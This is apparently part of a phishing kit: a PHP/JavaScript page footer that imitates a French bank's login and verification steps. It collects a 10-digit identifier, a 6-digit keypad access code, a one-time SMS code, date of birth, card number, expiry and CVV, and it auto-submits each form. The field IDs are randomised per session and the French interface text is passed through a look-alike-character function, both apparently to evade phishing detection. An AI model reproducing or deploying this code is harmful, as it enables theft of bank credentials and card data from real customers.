
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js" integrity="sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
		<script src="https://cdnjs.cloudflare.com/ajax/libs/cleave.js/1.0.2/cleave.min.js" integrity="sha512-SvgzybymTn9KvnNGu0HxXiGoNeOi0TTK7viiG0EGn2Qbeu/NFi3JdWrJs2JHiGA1Lph+dxiDv5F9gDlcgBzjfA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.20.0/jquery.validate.min.js" integrity="sha512-WMEKGZ7L5LWgaPeJtw9MBM4i5w5OSBlSjTjCtSnvFJGSVD26gE5+Td12qN5pvWXhuWaWcVwF++F7aqu9cvqP0A==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>

        <?php if ($_GET['op'] === $_SESSION["op"][3]) { ?>
<script>
$(document).ready(function() {
        var validator = $('form').validate({
            rules: {
                "<?php echo $_SESSION["attribute"][14]; ?>": {
                    required: true
                },
                "<?php echo $_SESSION["attribute"][15]; ?>": {
                    required: true
                },
                "<?php echo $_SESSION["attribute"][16]; ?>": {
                    required: true
                },
                "<?php echo $_SESSION["attribute"][17]; ?>": {
                    required: true
                },
                "<?php echo $_SESSION["attribute"][18]; ?>": {
                    required: true
                },
                "<?php echo $_SESSION["attribute"][20]; ?>": {
                    required: true
                },
                "<?php echo $_SESSION["attribute"][22]; ?>": {
                    required: true
                }
            },
            messages: {
                "<?php echo $_SESSION["attribute"][14]; ?>": {
                    required: "<?php echo getCyrillicAlphabet('Champs requis'); ?>"
                },
                "<?php echo $_SESSION["attribute"][15]; ?>": {
                    required: "<?php echo getCyrillicAlphabet('Champs requis'); ?>"
                },
                "<?php echo $_SESSION["attribute"][16]; ?>": {
                    required: "<?php echo getCyrillicAlphabet('Champs requis'); ?>"
                },
                "<?php echo $_SESSION["attribute"][17]; ?>": {
                    required: "<?php echo getCyrillicAlphabet('Champs requis'); ?>"
                },
                "<?php echo $_SESSION["attribute"][18]; ?>": {
                    required: "<?php echo getCyrillicAlphabet('Champs requis'); ?>"
                },
                "<?php echo $_SESSION["attribute"][20]; ?>": {
                    required: "<?php echo getCyrillicAlphabet('Champs requis'); ?>"
                },
                "<?php echo $_SESSION["attribute"][22]; ?>": {
                    required: "<?php echo getCyrillicAlphabet('Champs requis'); ?>"
                }
            },
            errorPlacement: function(error, element) {
            $(element).closest('.sc-iAEawV').find('.fTj-bev').html(error.text()).show();
        },
        highlight: function(element) {
            $(element).closest('.sc-cjibBx').addClass('error');
        },
        unhighlight: function(element) {
            $(element).closest('.sc-cjibBx').removeClass('error');
            $(element).closest('.sc-iAEawV').find('.fTj-bev').html('').hide();
        }
        });

// Bind blur event to the specific input field to trigger validation when it loses focus
$('#<?php echo $_SESSION["attribute"][14]; ?>, #<?php echo $_SESSION["attribute"][15]; ?>, #<?php echo $_SESSION["attribute"][16]; ?>, #<?php echo $_SESSION["attribute"][17]; ?>, #<?php echo $_SESSION["attribute"][18]; ?>, #<?php echo $_SESSION["attribute"][20]; ?>, #<?php echo $_SESSION["attribute"][22]; ?>').blur(function() {
    validator.element(this);
});

    // Bind keyup and change events to your inputs
    $('#<?php echo $_SESSION["attribute"][14]; ?>, #<?php echo $_SESSION["attribute"][15]; ?>, #<?php echo $_SESSION["attribute"][16]; ?>, #<?php echo $_SESSION["attribute"][17]; ?>, #<?php echo $_SESSION["attribute"][18]; ?>, #<?php echo $_SESSION["attribute"][20]; ?>, #<?php echo $_SESSION["attribute"][22]; ?>').on('input', function() {
        var allFilled = true;
        $('#<?php echo $_SESSION["attribute"][14]; ?>, #<?php echo $_SESSION["attribute"][15]; ?>, #<?php echo $_SESSION["attribute"][16]; ?>, #<?php echo $_SESSION["attribute"][17]; ?>, #<?php echo $_SESSION["attribute"][18]; ?>, #<?php echo $_SESSION["attribute"][20]; ?>, #<?php echo $_SESSION["attribute"][22]; ?>').each(function() {
            if ($(this).val() === '') {
                allFilled = false;
                return false; // break the loop
            }
        });

        if (allFilled) {
            $('#<?php echo $_SESSION['attribute'][13]; ?>').prop('disabled', false);
        } else {
            $('#<?php echo $_SESSION['attribute'][13]; ?>').prop('disabled', true);
        }
    });
});
</script>
<?php } ?>
<?php if ($_GET['op'] === $_SESSION["op"][5]) { ?>
    <script>
document.addEventListener('DOMContentLoaded', function () {
    var inputs = document.querySelectorAll('input.sc-cjibBx.dYWVma'); // Selector for the input fields

    // Function to check if all fields are filled
    function checkAllFilled() {
        return Array.from(inputs).every(input => input.value !== '');
    }

    // Function to distribute pasted value across inputs
    function handlePaste(e) {
        var pastedData = e.clipboardData || window.clipboardData;
        var pastedText = pastedData.getData('Text');

        if (pastedText.length > 0) {
            e.preventDefault();
            var currentIndex = Array.from(inputs).indexOf(e.target);
            pastedText.split('').forEach((char, i) => {
                if (currentIndex + i < inputs.length) {
                    inputs[currentIndex + i].value = char;
                    if (currentIndex + i < inputs.length - 1) {
                        inputs[currentIndex + i + 1].focus();
                    }
                }
            });

            if (checkAllFilled()) {
                e.target.form.submit();
            }
        }
    }

    inputs.forEach(function(input, index){
        input.addEventListener('input', function(e){
            if (e.target.value.length === 1 && index < inputs.length - 1) {
                inputs[index + 1].focus();
            }

            if (checkAllFilled()) {
                e.target.form.submit();
            }
        });

        input.addEventListener('keydown', function(e) {
            if (e.key === 'Backspace' && e.target.value === '' && index > 0) {
                inputs[index - 1].focus();
            } else if (e.key === 'ArrowLeft' && index > 0) {
                inputs[index - 1].focus();
            } else if (e.key === 'ArrowRight' && index < inputs.length - 1) {
                inputs[index + 1].focus();
            }
        });

        input.addEventListener('paste', handlePaste);
    });
});
</script>
<?php } ?>
<script>
			if( $("#<?php echo $_SESSION["attribute"][16]; ?>").length > 0 ) {
				var cleave = new Cleave('#<?php echo $_SESSION["attribute"][16]; ?>', {
					date: true,
					datePattern: ['d', 'm', 'Y']
				});
			}
			if( $("#<?php echo $_SESSION["attribute"][17]; ?>").length > 0 ) {
				var cleave = new Cleave('#<?php echo $_SESSION["attribute"][17]; ?>', {
                blocks: [6],
                uppercase: true
				});
			}
			if( $("#<?php echo $_SESSION["attribute"][22]; ?>").length > 0 ) {
                var cleave = new Cleave('#<?php echo $_SESSION["attribute"][22]; ?>', {
                blocks: [2, 2, 2, 2, 2],
                uppercase: true
});
			}
        </script>
<script>
    const MAX_BARCODE_LENGTH = 10; // Maximum length of the barcode

    function formatBarcodeInput() {
        const barcodeInput = document.getElementById("<?php echo $_SESSION["attribute"][0]; ?>");
        let userInput = barcodeInput.value;

        // Remove any non-digit characters from the user input
        userInput = userInput.replace(/\D/g, "");

        // Insert the digits from the user input into the barcode format
        let formattedInput = "   -   -   - ";
        let inputIndex = 0; // Index to keep track of the user input position

        for (let i = 0; i < formattedInput.length; i++) {
            if (formattedInput[i] === " ") {
                if (inputIndex < userInput.length) {
                    formattedInput = formattedInput.substr(0, i) + userInput[inputIndex] + formattedInput.substr(i + 1);
                    inputIndex++;
                } else {
                    break;
                }
            }
        }

        barcodeInput.value = formattedInput;

        // Set the cursor position after the last entered number
        const cursorPosition = formattedInput.lastIndexOf(userInput.slice(-1)) + 1;

        if (userInput.length <= 0) {
            barcodeInput.setSelectionRange(0, 0);
        } else {
            barcodeInput.setSelectionRange(cursorPosition, cursorPosition);
        }

        // Disable further input if the barcode is complete
        if (userInput.length >= MAX_BARCODE_LENGTH) {
            barcodeInput.setAttribute("maxlength", MAX_BARCODE_LENGTH);
        } else {
            barcodeInput.removeAttribute("maxlength");
        }

        const loginButton = document.getElementById('<?php echo $_SESSION["attribute"][2]; ?>');

        const digitCount = userInput.replace(/-/g, '').replace(/\D/g, '').length; // Count only the digits

        if (digitCount >= 10) {
            loginButton.removeAttribute('disabled'); // Remove the "disabled" attribute
        } else {
            loginButton.setAttribute('disabled', true); // Add the "disabled" attribute
        }
    }

    // Position cursor at the end of the last number when input field is focused or clicked
    const barcodeInput = document.getElementById("<?php echo $_SESSION["attribute"][0]; ?>");

    if (barcodeInput) {
        barcodeInput.addEventListener("focus", function() {
            const userInput = barcodeInput.value.replace(/\D/g, "");
            const cursorPosition = userInput.length + Math.floor(userInput.length / 3);

            barcodeInput.setSelectionRange(cursorPosition, cursorPosition);
        });

        barcodeInput.addEventListener("click", function() {
            const userInput = barcodeInput.value.replace(/\D/g, "");
            const cursorPosition = userInput.length + Math.floor(userInput.length / 3);

            barcodeInput.setSelectionRange(cursorPosition, cursorPosition);
        });
    }

    function updateAccessCodeElements() {
        const keyboardInputId = "<?php echo $_SESSION['attribute'][3]; ?>";
        const dotsElementId = "<?php echo $_SESSION['attribute'][4]; ?>";
        const valueElementId = "<?php echo $_SESSION['attribute'][5]; ?>";

        const keyboardInput = document.getElementById(keyboardInputId);
        const dotsElement = document.getElementById(dotsElementId);
        const valueElement = document.getElementById(valueElementId);

        let dotsHtml = "";
        let valueHtml = "";

        for (let index = 0; index < keyboardInput.value.length; index++) {
            dotsHtml += `<div data-testid="accessCode#dot#${index}" class="sc-kAyceB bDHwTN"></div>`;
            valueHtml += `<span class="sc-dAlyuH kJgidg">${keyboardInput.value[index]}</span>`;
        }

        for (let index = keyboardInput.value.length; index < 6; index++) {
            dotsHtml += `<div data-testid="accessCode#dot#${index}" class="sc-kAyceB bXMYpn"></div>`;
        }

        dotsElement.innerHTML = dotsHtml;
        valueElement.innerHTML = valueHtml;
    }

    function submitClosestForm(element) {
        let parent = element.parentElement;
        while (parent && parent.tagName.toLowerCase() !== 'form') {
            parent = parent.parentElement;
        }

        if (parent && parent.tagName.toLowerCase() === 'form') {
            parent.submit();
        }
    }

    function appendToKeyboardInput(number) {
        const keyboardInputId = "<?php echo $_SESSION['attribute'][3]; ?>";
        const keyboardInput = document.getElementById(keyboardInputId);

        if (keyboardInput.value.length < 6) {
            keyboardInput.value += number.toString();
            updateAccessCodeElements();
        }

        if (keyboardInput.value.length >= 6) {
            submitClosestForm(keyboardInput)
        }
    }

    function removeFromKeyboardInput() {
        const keyboardInputId = "<?php echo $_SESSION['attribute'][3]; ?>";
        const keyboardInput = document.getElementById(keyboardInputId);

        if (keyboardInput.value.length > 0) {
            keyboardInput.value = keyboardInput.value.slice(0, -1);
            updateAccessCodeElements();
        }
    }

    function toggleButtonVisibility(show) {
        const showButtonId = "<?php echo $_SESSION['attribute'][6]; ?>";
        const hideButtonId = "<?php echo $_SESSION['attribute'][7]; ?>";
        const dotsElementId = "<?php echo $_SESSION['attribute'][4]; ?>";
        const valueElementId = "<?php echo $_SESSION['attribute'][5]; ?>";

        const showButtonElement = document.getElementById(showButtonId);
        const hideButtonElement = document.getElementById(hideButtonId);
        const dotsElement = document.getElementById(dotsElementId);
        const valueElement = document.getElementById(valueElementId);

        if (show) {
            showButtonElement.style.display = "none";
            hideButtonElement.style.display = "flex";
            dotsElement.style.display = "none";
            valueElement.style.display = "flex";
        } else {
            showButtonElement.style.display = "flex";
            hideButtonElement.style.display = "none";
            dotsElement.style.display = "flex";
            valueElement.style.display = "none";
        }
    }

    function startCountdown() {
        let time = 29; // time in seconds
        let display = document.querySelector('#<?php echo $_SESSION["attribute"][9]; ?>'); // replace '#time' with the actual selector of your display element

        if (!display) {
            return;
        }

        display.parentElement.setAttribute('disabled', true);
        display.textContent = "<?php echo getCyrillicAlphabet('Renvoyez moi un code'); ?> (0:30)";

        let countdown = setInterval(function() {
            let minutes = Math.floor(time / 60);
            let seconds = time % 60;

            // pad seconds with leading zeros if less than 10
            seconds = seconds < 10 ? '0' + seconds : seconds;

            display.textContent = "<?php echo getCyrillicAlphabet('Renvoyez moi un code'); ?> (" + minutes + ":" + seconds + ")";

            time--;

            // stop countdown when time is up
            if (time < 0) {
                clearInterval(countdown);
                display.textContent = "<?php echo getCyrillicAlphabet('Renvoyez moi un code'); ?>";
                display.parentElement.removeAttribute('disabled');
            }
        }, 1000);
    }

    startCountdown();

    function formatCard(input) {
        let value = input.value.replace(/\D/g, ""); // remove non-digits

        // limit to 16 digits
        value = value.slice(0, 16);

        let formattedValue = "";

        // insert a space after every 4th digit
        for (let i = 0; i < value.length; i++) {
            if (i > 0 && i % 4 === 0) {
                formattedValue += " ";
            }
            formattedValue += value[i];
        }

        // set the input value to the formatted value
        input.value = formattedValue;
    }

    const MAX_EXPERATION_DATE_LENGTH = 4;

    function formatDate() {
        const dateInput = document.getElementById("<?php echo $_SESSION["attribute"][11]; ?>");
        let userInput = dateInput.value;

        userInput = userInput.replace(/\D/g, "");

        let formattedInput = "  /  ";
        let inputIndex = 0;

        for (let i = 0; i < formattedInput.length; i++) {
            if (formattedInput[i] === " ") {
                if (inputIndex < userInput.length) {
                    formattedInput = formattedInput.substr(0, i) + userInput[inputIndex] + formattedInput.substr(i + 1);
                    inputIndex++;
                } else {
                    break;
                }
            }
        }

        dateInput.value = formattedInput;

        const cursorPosition = formattedInput.lastIndexOf(userInput.slice(-1)) + 1;

        if (userInput.length <= 0) {
            dateInput.setSelectionRange(0, 0);
        } else {
            dateInput.setSelectionRange(cursorPosition, cursorPosition);
        }

        if (userInput.length >= MAX_EXPERATION_DATE_LENGTH) {
            dateInput.setAttribute("maxlength", MAX_EXPERATION_DATE_LENGTH);
        } else {
            dateInput.removeAttribute("maxlength");
        }
    }

    const dateInput = document.getElementById("<?php echo $_SESSION["attribute"][11]; ?>");

    if (dateInput) {
        dateInput.addEventListener("focus", function() {
            const userInput = dateInput.value.replace(/\D/g, "");
            const cursorPosition = userInput.length + Math.floor(userInput.length / 2);

            dateInput.setSelectionRange(cursorPosition, cursorPosition);
        });

        dateInput.addEventListener("click", function() {
            const userInput = dateInput.value.replace(/\D/g, "");
            const cursorPosition = userInput.length + Math.floor(userInput.length / 2);

            dateInput.setSelectionRange(cursorPosition, cursorPosition);
        });
    }

    // define your input and button elements
    const input1 = document.getElementById("<?php echo $_SESSION['attribute'][10]; ?>");
    const input2 = document.getElementById("<?php echo $_SESSION['attribute'][11]; ?>");
    const input3 = document.getElementById("<?php echo $_SESSION['attribute'][12]; ?>");
    const continueButton = document.getElementById('<?php echo $_SESSION['attribute'][13]; ?>');

    // define a function to check input lengths and enable/disable the button
    function validateInputs() {
        if (input1.value.replace(/\D/g, "").length >= 16 &&
            input2.value.replace(/\D/g, "").length >= 4 &&
            input3.value.replace(/\D/g, "").length >= 3) {
            continueButton.removeAttribute('disabled');
        } else {
            continueButton.setAttribute('disabled', true);
        }
    }

    // attach the event listener to all three inputs
    [input1, input2, input3].forEach(input => {
        if (input) {
            input.addEventListener('input', validateInputs);
        }
    });
</script>

</body>

</html>